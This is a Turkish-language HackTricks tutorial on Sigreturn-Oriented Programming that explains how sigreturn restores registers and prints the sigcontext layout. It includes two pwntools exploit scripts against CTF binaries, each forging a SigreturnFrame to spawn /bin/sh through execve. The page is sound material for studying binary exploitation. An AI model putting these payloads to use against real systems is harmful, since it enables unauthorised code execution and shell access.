SROP - Sigreturn-Oriented Programming

Support HackTricks

Temel Bilgiler

Sigreturn, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir syscall'dır. Sinyaller, bir programın işletim sistemi tarafından gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve sinyalleri ele almak için tasarlanmış özel bir işlev olan sinyal işleyici ile sinyali işler.

Sinyal işleyici tamamlandıktan sonra, programın önceki durumuna devam etmesi gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada sigreturn devreye girer. Programın sinyal işleyicisinden dönmesine yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (işlev çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.

İlginç olan, sigreturn'ın programın durumunu nasıl geri yüklediğidir: bunu CPU'nun tüm kayıt değerlerini yığında depolayarak yapar. Sinyal artık engellenmediğinde, sigreturn bu değerleri yığından çıkarır, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.

Bir ROP zincirinden sigreturn syscall'ını çağırarak ve yüklemek istediğimiz kayıt değerlerini yığına ekleyerek, tüm kayıt değerlerini kontrol etmek ve dolayısıyla örneğin execve syscall'ını /bin/sh ile çağırmak mümkündür.

Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir Ret2syscall türü olduğunu unutmayın:

Ret2syscall

Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında depolanan sigcontext yapısıdır (şeması buradan):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Daha iyi bir açıklama için ayrıca kontrol edin:

Örnek

Burada bir örnek bulabilirsiniz burada signeturn çağrısı ROP aracılığıyla oluşturulmuştur (rxa'ya 0xf değeri konulmuştur), ancak buradan itibaren bu son istismar:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Ayrıca buradan istismarı kontrol edin burada ikili dosya zaten sigreturn çağrıyordu ve bu nedenle bununla bir ROP inşa etmek gerekmez:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Diğer Örnekler ve Referanslar

HackTricks'i Destekleyin

Last updated